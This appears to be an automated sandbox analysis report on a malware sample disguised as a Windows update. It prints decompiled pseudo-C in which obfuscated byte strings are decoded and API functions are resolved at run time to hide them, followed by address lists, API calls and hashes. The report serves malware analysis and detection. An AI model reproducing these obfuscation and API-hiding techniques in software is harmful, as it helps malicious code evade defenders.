															_a156 = 0x24;
															_a157 = 0x7f;
															_a158 = 0x60;
															_a159 = 0xe9;
															_a160 = 0xec;
															_a161 = 0x4c;
															_a204 = 0x4c;
															_a205 = 0xad;
															_a206 = 0x8f;
															_a207 = 0x14;
															_a208 = 0x11;
															_a209 = 0x4d;
															_a210 = 0x1b;
															_a211 = 0xff;
															_a212 = 0x48;
															_a213 = 0x40;
															__eax = E0041C580( &_a204);
															__esp = __esp + 8;
															__eax = GetProcAddress(__edi, __eax);
															 *0x431f14 = __eax;
															if(__eax == 0) {
																goto L1;
															} else {
																__ecx =  &_a56;
																__ecx =  &_a76;
																__edx = 0x12;
																_a56 = 0x75;
																_a57 = 6;
																_a58 = 0xcc;
																_a59 = 0x8b;
																_a60 = 0x4c;
																_a61 = 0xb8;
																_a62 = 0x36;
																_a63 = 0x4d;
																_a64 = 0x1e;
																_a65 = 0x53;
																_a66 = 0xb7;
																_a67 = 0x58;
																_a68 = 0xd4;
																_a69 = 0xa5;
																_a70 = 0xf1;
																_a71 = 0xd3;
																_a72 = 0x12;
																_a73 = 0x39;
																_a76 = 0x4a;
																_a77 = 0x19;
																_a78 = 0x7c;
																_a79 = 8;
																_a80 = 0x5f;
																_a81 = 0x36;
																_a82 = 0x58;
																_a83 = 0x3c;
																_a84 = 0x53;
																_a85 = 0x24;
																_a86 = 0x57;
																_a87 = 0x1f;
																_a88 = 0x70;
																_a89 = 0x1f;
																_a90 = 0x74;
																_a91 = 0x31;
																_a92 = 0x49;
																_a93 = 8;
																__eax = E0041C4C0( &_a76, 0x12,  &_a56);
																__eax = GetProcAddress(__edi, __eax);
																__edx = 0;
																_t358 = __eax != 0;
																__edx = 0 | _t358;
																 *0x431f18 = __eax;
																__eax = _t358;
																goto L28;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d49a
0x0041d4a3
0x0041d4a7
0x0041d4ac
0x0041c80f
0x0041c827
0x0041d4b2
0x0041d4b2
0x0041d4b7
0x0041d4bb
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d541
0x0041d543
0x0041d547
0x0041ddc9
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041d54d
0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d62e
0x0041d637
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d69b
0x0041d6a1
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d712
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d804
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d829
0x0041d831
0x0041d835
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d967
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9ee
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041d9fa
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da96
0x0041da9a
0x0041da9c
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db74
0x0041db7b
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc17
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc7
0x00000000
0x0041ddc7
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547

APIs

GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

S, xrefs: 0041DD7D
M, xrefs: 0041DD1E
q, xrefs: 0041D50B
w, xrefs: 0041D7BD
L, xrefs: 0041DD0F
l, xrefs: 0041D4D9
g, xrefs: 0041D92D
h, xrefs: 0041D93D
I, xrefs: 0041D524
w, xrefs: 0041D9B7
@, xrefs: 0041DCCC
x, xrefs: 0041D9D5
x, xrefs: 0041D787
S, xrefs: 0041DB9E
o, xrefs: 0041DB51
u, xrefs: 0041DCFB
6, xrefs: 0041DD6E
L, xrefs: 0041DC84
B, xrefs: 0041D8D1
<, xrefs: 0041D8A2
&, xrefs: 0041DAF8
t, xrefs: 0041D8E5
m, xrefs: 0041DB80
$, xrefs: 0041DC54
v, xrefs: 0041D501
&, xrefs: 0041D87A
;, xrefs: 0041DC3C
W, xrefs: 0041DD87
y, xrefs: 0041D905
T, xrefs: 0041DB3D
`, xrefs: 0041D94D
L, xrefs: 0041DC7C
1, xrefs: 0041DDA0
$, xrefs: 0041D9AD
J, xrefs: 0041D91D
T, xrefs: 0041DADA
`, xrefs: 0041DB99
X, xrefs: 0041DD32
_, xrefs: 0041DD69
W, xrefs: 0041D9BC
1, xrefs: 0041DAB7
t, xrefs: 0041DD9B
<, xrefs: 0041DD78
A, xrefs: 0041D52D
$, xrefs: 0041DD82
J, xrefs: 0041DD55
H, xrefs: 0041DCC4
H, xrefs: 0041DAE9
`, xrefs: 0041DC64
8, xrefs: 0041D7D5
S, xrefs: 0041DD28
g, xrefs: 0041DB47
9, xrefs: 0041D915
|, xrefs: 0041DD5F
g, xrefs: 0041D51F
~, xrefs: 0041DAA8
S, xrefs: 0041D4C0
+, xrefs: 0041D782
:, xrefs: 0041D90D
h, xrefs: 0041D8F5
6, xrefs: 0041DD19
`, xrefs: 0041D852
7, xrefs: 0041DC34
p, xrefs: 0041DD91
r, xrefs: 0041D8B2
e, xrefs: 0041D8DB
I, xrefs: 0041DAC1
i, xrefs: 0041DC4C
N, xrefs: 0041D4E8
X, xrefs: 0041DD73
M, xrefs: 0041DCAC
H, xrefs: 0041D4E3
2, xrefs: 0041D862
9, xrefs: 0041DD50
/, xrefs: 0041D925
>, xrefs: 0041D86A
I, xrefs: 0041DDA5

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$$$&$&$+$/$1$1$2$6$6$7$8$9$9$:$;$<$<$>$@$A$B$H$H$H$I$I$I$J$J$L$L$L$M$M$N$S$S$S$S$T$T$W$W$X$X$_$`$`$`$`$e$g$g$g$h$h$i$l$m$o$p$q$r$t$t$u$v$w$w$x$x$y$|$~
API String ID: 2238633743-3939626055
Opcode ID: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
Instruction ID: 4ea2d180e8293730c515bf7f31d434ed5d52511cef3b66f0afd499666270cbed
Opcode Fuzzy Hash: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
Instruction Fuzzy Hash: 0452A72000CBC2C9D332D27C584879FBFD11BA7228F584B9DE1F95A2E2D7A68146C767

Uniqueness

Uniqueness Score: -1.00%

Function 004147D5, Relevance: 135.2, APIs: 13, Strings: 64, Instructions: 415
threadCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004147D5(void* __eax, void* __ebx, intOrPtr __ebp, void* _a4, long _a8, void* _a12, void* _a16, intOrPtr _a40, char* _a76, void* _a136, void* _a137, void* _a138, void* _a139, void* _a140, void* _a141, void* _a142, void* _a143, void* _a144, void* _a145, void* _a146, void* _a147, void* _a148, void* _a149, void* _a150, void* _a151, char _a152, char _a153, char _a154, char _a155, void* _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a175, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, void* _a212, void* _a213, void* _a214, void* _a215, void* _a216, void* _a217, void* _a218, void* _a219, void* _a220, void* _a221, void* _a222, void* _a223, void* _a224, void* _a225, void* _a226, void* _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a288, char _a289, char _a290, char _a291, char _a292, char _a293, char _a294, char _a295, char _a296, char _a297, char _a298, char _a299, char _a300, char _a301, char _a302, char _a303, char _a304, char _a305, char _a306, char _a307, char _a308, char _a309, void* _a310, void* _a311, void* _a312, void* _a313, void* _a314, void* _a315, void* _a316, void* _a317, void* _a318, void* _a319, char _a320, char _a321, void* _a364, void* _a365, void* _a366, void* _a367, void* _a368, void* _a369, void* _a370, void* _a371, void* _a372, void* _a373, void* _a374, void* _a375, void* _a376, void* _a377, void* _a378, void* _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a396, void* _a416, char _a432, char _a448, void* _a848, void* _a852, void* _a860, void* _a868) {
				void* _v0;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v69;
				void* _t273;
				signed short _t275;
				void* _t283;
				void* _t290;
				signed int _t294;
				void* _t312;
				signed char _t314;
				void* _t319;
				signed char _t324;
				signed char _t325;
				signed int _t326;
				signed char _t336;
				signed char _t337;
				char _t338;
				signed int _t352;
				signed char _t408;
				void* _t414;
				signed int _t418;
				signed int _t419;
				void* _t421;
				void* _t423;
				void* _t424;

				_t273 = __eax;
				do {
					 *((char*)(_t423 + _t273 + 0xe8)) =  *((intOrPtr*)(_t423 + _t273 + 0xe8)) +  *((intOrPtr*)(_t423 + _t273 + 0xcc));
					 *((char*)(_t423 + _t273 + 0xe9)) =  *((intOrPtr*)(_t423 + _t273 + 0xe9)) +  *((intOrPtr*)(_t423 + _t273 + 0xcd));
					 *((char*)(_t423 + _t273 + 0xea)) =  *((intOrPtr*)(_t423 + _t273 + 0xea)) +  *((intOrPtr*)(_t423 + _t273 + 0xce));
					 *((char*)(_t423 + _t273 + 0xeb)) =  *((intOrPtr*)(_t423 + _t273 + 0xeb)) +  *((intOrPtr*)(_t423 + _t273 + 0xcf));
					 *((char*)(_t423 + _t273 + 0xec)) =  *((intOrPtr*)(_t423 + _t273 + 0xec)) +  *((intOrPtr*)(_t423 + _t273 + 0xd0));
					_t273 = _t273 + 5;
				} while (_t273 < 0x14);
				E0040B300( &_a448,  &_a232, 0, 1, 1);
				_a288 = 0x28;
				_a289 = 0x24;
				_a290 = 0x26;
				_a291 = 0x2f;
				_a292 = 0x2a;
				_a293 = 0x2d;
				_a294 = 0x2b;
				_a295 = 0x36;
				_a296 = 0x28;
				_a297 = 0x2c;
				_a298 = 0x31;
				_a299 = 0x2d;
				_a300 = 5;
				_a301 = 0x28;
				_a302 = 0x24;
				_a303 = 0x2c;
				_a304 = 0x29;
				_a305 = 0x6b;
				_a306 = 0x26;
				_a307 = 0x2a;
				_a308 = 0x28;
				_a309 = 0x45;
				_t275 = 0x71;
				_t352 = 0;
				do {
					_t275 = ((_t275 & 0x0000ffff | 0x00006a17) + 0x000006db) * 0x00000007 ^ 0x0000001a;
					 *(_t423 + _t352 + 0x130) =  *(_t423 + _t352 + 0x130) ^ 0x00000045;
					_t352 = _t352 + 1;
				} while (_t352 < 0x16);
				E0040B300( &_a448,  &_a304, 0, 1, 1);
				_push(0x18);
				_push( &_a380);
				_a380 = 0x28;
				_a381 = 0x35;
				_a382 = 0x17;
				_a383 = 0xaa;
				_a384 = 0x83;
				_a385 = 0x40;
				_a386 = 0xeb;
				_a387 = 0x5c;
				 *((char*)(_t423 + 0x19c)) = 0x1c;
				 *((char*)(_t423 + 0x19d)) = 0x28;
				 *((char*)(_t423 + 0x19e)) = 0xdd;
				 *((char*)(_t423 + 0x19f)) = 0xcb;
				 *((char*)(_t423 + 0x1a0)) = 0xd8;
				 *((char*)(_t423 + 0x1a1)) = 0x5a;
				 *((char*)(_t423 + 0x1a2)) = 0x88;
				 *((char*)(_t423 + 0x1a3)) = 0x9c;
				_a396 = 0x95;
				 *((char*)(_t423 + 0x1a5)) = 0x1d;
				 *((char*)(_t423 + 0x1a6)) = 0xbd;
				 *((char*)(_t423 + 0x1a7)) = 0x48;
				 *((char*)(_t423 + 0x1a8)) = 0x67;
				 *((char*)(_t423 + 0x1a9)) = 0x6a;
				 *((char*)(_t423 + 0x1aa)) = 0xa9;
				 *((char*)(_t423 + 0x1ab)) = 0xb0;
				_a188 = 5;
				_a189 = 0x68;
				_a190 = 9;
				_a191 = 0x6a;
				_a192 = 0;
				_a193 = 0x6f;
				_a194 = 7;
				_a195 = 0x69;
				 *((char*)(_t423 + 0xdc)) = 0x1a;
				 *((char*)(_t423 + 0xdd)) = 0x77;
				 *((char*)(_t423 + 0xde)) = 0x1e;
				 *((char*)(_t423 + 0xdf)) = 0x6a;
				 *((char*)(_t423 + 0xe0)) = 2;
				 *((char*)(_t423 + 0xe1)) = 0x42;
				 *((char*)(_t423 + 0xe2)) = 0x20;
				 *((char*)(_t423 + 0xe3)) = __ebx;
				 *((char*)(_t423 + 0xe4)) = 0x2e;
				 *((char*)(_t423 + 0xe5)) = 0x43;
				 *((char*)(_t423 + 0xe6)) = 0x2a;
				 *((char*)(_t423 + 0xe7)) = 0x58;
				 *((char*)(_t423 + 0xe8)) = 0x76;
				 *((char*)(_t423 + 0xe9)) = 0x18;
				 *((char*)(_t423 + 0xea)) = 0x7d;
				 *((char*)(_t423 + 0xeb)) = 9;
				_t283 = E00411FF0( &_a188);
				_t424 = _t423 + 8;
				E0040B300( &_a432, _t283, 0, 1, 1);
				_a320 = 0x9d;
				_a321 = 0x8d;
				 *((char*)(_t424 + 0x162)) = 0x19;
				 *((char*)(_t424 + 0x163)) = 0x39;
				 *((char*)(_t424 + 0x164)) = 0xcb;
				 *((char*)(_t424 + 0x165)) = 0xd1;
				 *((char*)(_t424 + 0x166)) = 0x15;
				 *((char*)(_t424 + 0x167)) = 0x5b;
				 *((char*)(_t424 + 0x168)) = 0x57;
				 *((char*)(_t424 + 0x169)) = 0x3e;
				_a174 = 0xd1;
				_a186 = 0x57;
				 *((char*)(_t424 + 0x16e)) = 0x63;
				 *((char*)(_t424 + 0x16f)) = 0xf1;
				 *((char*)(_t424 + 0x170)) = 0;
				 *((char*)(_t424 + 0x171)) = 0xd2;
				 *((char*)(_t424 + 0x172)) = 0x15;
				 *((char*)(_t424 + 0x173)) = 0xbe;
				 *((char*)(_t424 + 0x174)) = 0x45;
				 *((char*)(_t424 + 0x175)) = 0xf2;
				_a172 = 0xf2;
				_a173 = 0x28;
				_a175 = 0x76;
				_a176 = 0xfc;
				_a177 = 0x6c;
				_a178 = 0x98;
				_a179 = 2;
				_a180 = 0x53;
				_a181 = 0x30;
				_a182 = 0x1b;
				_a183 = 0x73;
				_a184 = 0xba;
				_a185 = 0xa9;
				_a187 = 0x71;
				_a188 = 0xe7;
				_a189 = 0xf3;
				E0040B300(_t424 + 0x1d0, E00412060( &_a172, 0x12,  &_a320), 0, 1, 1);
				_a228 = 0xb7;
				_a229 = 0x2a;
				_a230 = 0x56;
				_a231 = 0x1e;
				_a232 = 0x26;
				_a233 = 0xee;
				 *((char*)(_t424 + 0x11e)) = 0x2d;
				 *((char*)(_t424 + 0x11f)) = 0xb4;
				 *((char*)(_t424 + 0x120)) = 0x7d;
				 *((char*)(_t424 + 0x121)) = 0xce;
				 *((char*)(_t424 + 0x122)) = 0xb3;
				 *((char*)(_t424 + 0x123)) = 0xa6;
				 *((char*)(_t424 + 0x124)) = 0xa5;
				 *((char*)(_t424 + 0x125)) = 0x29;
				 *((char*)(_t424 + 0x126)) = __ebx;
				 *((char*)(_t424 + 0x127)) = 0x2a;
				 *((char*)(_t424 + 0x128)) = 0x44;
				 *((char*)(_t424 + 0x129)) = 0xeb;
				 *((char*)(_t424 + 0x12a)) = 0xbe;
				 *((char*)(_t424 + 0x12b)) = 0xae;
				 *((char*)(_t424 + 0x12c)) = 0xa8;
				 *((char*)(_t424 + 0x12d)) = 0xa6;
				_a152 = 0xb6;
				_a153 = 0x37;
				_a154 = 0xd;
				_a155 = 0x4c;
				_a156 = __ebx;
				_a157 = 0x7a;
				_a158 = 0x41;
				_a159 = 0xbf;
				_a160 = 0xf0;
				_a161 = 0x9b;
				_a162 = 0xc1;
				_a163 = 0xc2;
				_a164 = 0x9b;
				_a165 = 0x40;
				_a166 = 0x25;
				_a167 = 0x38;
				_a168 = 0x2b;
				_a169 = 0x8d;
				_a170 = 0x70;
				_a171 = 0xbe;
				_a172 = 0xce;
				_a173 = 0x5a;
				_t290 = 0;
				do {
					 *((char*)(_t424 + _t290 + 0x118)) =  *((intOrPtr*)(_t424 + _t290 + 0x118)) +  *((intOrPtr*)(_t424 + _t290 + 0xcc));
					 *((char*)(_t424 + _t290 + 0x119)) =  *((intOrPtr*)(_t424 + _t290 + 0x119)) +  *((intOrPtr*)(_t424 + _t290 + 0xcd));
					_t290 = _t290 + 2;
				} while (_t290 < 0x16);
				E0040B300( &_a448, _t424 + 0x124, 0, 1, 1);
				_t336 =  *0x431c90; // 0x0
				_t337 = _t336 ^ 0x0000005d;
				_t294 = _t337 ^ 0x0000005d;
				 *0x431c90 = _t294;
				_t338 = _t337 + _t294 * 0x44;
				 *((intOrPtr*)(_t424 + 0x68)) = __ebp;
				 *((intOrPtr*)(_t424 + 0x54)) = CreateEventA(0, 1, 0, 0);
				_a76 =  &_a432;
				_t421 = CreateThread(0, 0, E00401260, _t424 + 0x5c, 0,  &_a8);
				_t431 = _a8;
				if(_a8 != 0) {
					_t319 = E004123A0(_t338, CloseHandle, _t414, _t421, _t431, _t424 + 0x40, _t424 + 0x40, _t424 + 0x40, _t424 + 0x40);
					_t424 = _t424 + 0x10;
					if(_t319 != 0) {
						 *((intOrPtr*)(_t424 + 0x20)) =  *((intOrPtr*)(_t424 + 0x54));
						 *((intOrPtr*)(_t424 + 0x24)) = _t424 + 0x1c0;
						 *(_t424 + 0x28) = _t424 + 0x44;
						_a40 = _t424 + 0x64;
						 *((intOrPtr*)(_t424 + 0x30)) = _t424 + 0x7c;
						 *0x431c90 = 5;
						_t418 = 0;
						do {
							 *((intOrPtr*)(_t424 + 0xa4 + _t418 * 4)) = CreateThread(0, 0, E004191C0, _t424 + 0x28, 0, _t424 + 0x18);
							_t418 = _t418 + 1;
						} while (_t418 < 0xa);
						_t324 =  *0x431c90; // 0x0
						_t325 = _t324 + 0x24;
						_t326 = _t325 * 0x9b;
						 *0x431c90 = _t326;
						_t338 = 0x1f - (_t325 << 6) + _t326 * 0x1c;
						WaitForMultipleObjects(0xa,  &_a156, 1, 0xffffffff);
						_t419 = 0;
						 *((char*)(_t424 + 0x13)) = 0x26c;
						do {
							CloseHandle( *(_t424 + 0xa4 + _t419 * 4));
							_t408 =  *0x431c90; // 0x0
							_t419 = _t419 + 1;
							 *0x431c90 = _t408 +  *((intOrPtr*)(_t424 + 0x13));
						} while (_t419 < 0xa);
					}
				}
				if( *((intOrPtr*)(_t424 + 0x3b8)) != 0) {
					_t314 =  *0x431c90; // 0x0
					 *0x431c90 = _t314 + 0x78;
					WaitForSingleObject(_a16, 0xffffffff);
					 *0x431c90 = 0x40;
					_t338 = 0x17;
					CloseHandle(_a16);
				}
				 *0x431c90 = _t338 + 0x000000a0 ^ 0x0000005d;
				WaitForSingleObject(_t421, 0xffffffff);
				CloseHandle(_t421);
				E00416790(_t424 + 0x64);
				HeapFree(GetProcessHeap(), 0,  *(_t424 + 0x34));
				HeapFree(GetProcessHeap(), 0,  *(_t424 + 0x3c));
				 *(_t424 + 0x3b0) = 2;
				E00408AD0(_t424 + 0x1c0);
				 *(_t424 + 0x3b0) = 1;
				E00404590();
				 *(_t424 + 0x3b0) = 0;
				E00416690(_t424 + 0x64);
				 *(_t424 + 0x3b0) = 0xffffffff;
				_t312 = E0041A8F0(_t424 + 0x7c);
				 *[fs:0x0] =  *((intOrPtr*)(_t424 + 0x39c));
				return E00424873(_t312,  *((intOrPtr*)(_t424 + 0x398)));
			}

0x004147d5
0x004147e0
0x004147f7
0x0041480e
0x00414825
0x0041483c
0x0041484c
0x00414853
0x00414856
0x00414870
0x00414875
0x0041487d
0x00414885
0x0041488d
0x00414895
0x0041489d
0x004148a5
0x004148ad
0x004148b5
0x004148bd
0x004148c5
0x004148cd
0x004148d5
0x004148dd
0x004148e5
0x004148ed
0x004148f5
0x004148fd
0x00414905
0x0041490d
0x00414915
0x0041491d
0x00414925
0x0041492a
0x00414930
0x0041494a
0x0041494d
0x00414954
0x00414955
0x0041496f
0x0041497d
0x0041497f
0x00414987
0x0041498f
0x00414997
0x0041499f
0x004149a7
0x004149af
0x004149b7
0x004149bf
0x004149c7
0x004149cf
0x004149d7
0x004149df
0x004149e7
0x004149ef
0x004149f7
0x004149ff
0x00414a07
0x00414a0f
0x00414a17
0x00414a1f
0x00414a27
0x00414a2f
0x00414a36
0x00414a3e
0x00414a46
0x00414a4e
0x00414a56
0x00414a5e
0x00414a65
0x00414a6d
0x00414a75
0x00414a7d
0x00414a85
0x00414a8d
0x00414a95
0x00414a9d
0x00414aa4
0x00414aac
0x00414ab4
0x00414abc
0x00414ac3
0x00414acb
0x00414ad3
0x00414adb
0x00414ae3
0x00414aeb
0x00414af3
0x00414afb
0x00414b03
0x00414b08
0x00414b19
0x00414b24
0x00414b2c
0x00414b34
0x00414b3c
0x00414b44
0x00414b4c
0x00414b53
0x00414b5a
0x00414b62
0x00414b69
0x00414b71
0x00414b7f
0x00414b93
0x00414b9b
0x00414ba3
0x00414bab
0x00414bb3
0x00414bba
0x00414bc2
0x00414bca
0x00414bd2
0x00414bda
0x00414be2
0x00414bea
0x00414bf2
0x00414bfa
0x00414c02
0x00414c0a
0x00414c12
0x00414c1a
0x00414c22
0x00414c2a
0x00414c32
0x00414c3a
0x00414c42
0x00414c4a
0x00414c65
0x00414c6c
0x00414c74
0x00414c7c
0x00414c84
0x00414c8c
0x00414c94
0x00414c9c
0x00414ca4
0x00414cac
0x00414cb4
0x00414cbc
0x00414cc4
0x00414ccb
0x00414cd3
0x00414cdb
0x00414ce2
0x00414cea
0x00414cf2
0x00414cfa
0x00414d02
0x00414d0a
0x00414d12
0x00414d19
0x00414d21
0x00414d29
0x00414d31
0x00414d39
0x00414d40
0x00414d48
0x00414d50
0x00414d58
0x00414d60
0x00414d68
0x00414d70
0x00414d78
0x00414d80
0x00414d88
0x00414d90
0x00414d98
0x00414da0
0x00414da8
0x00414db0
0x00414db8
0x00414dc0
0x00414dc8
0x00414dd0
0x00414de7
0x00414df7
0x00414dfe
0x00414e01
0x00414e1b
0x00414e20
0x00414e26
0x00414e2b
0x00414e2f
0x00414e3e
0x00414e40
0x00414e4a
0x00414e6a
0x00414e7a
0x00414e80
0x00414e82
0x00414e9c
0x00414ea1
0x00414ea6
0x00414eb7
0x00414ebb
0x00414ecb
0x00414ecf
0x00414ed3
0x00414ed7
0x00414ede
0x00414ee0
0x00414efb
0x00414f02
0x00414f03
0x00414f08
0x00414f0d
0x00414f13
0x00414f1e
0x00414f33
0x00414f35
0x00414f3f
0x00414f43
0x00414f50
0x00414f58
0x00414f5a
0x00414f66
0x00414f6a
0x00414f6a
0x00414f50
0x00414ea6
0x00414f81
0x00414f83
0x00414f91
0x00414f96
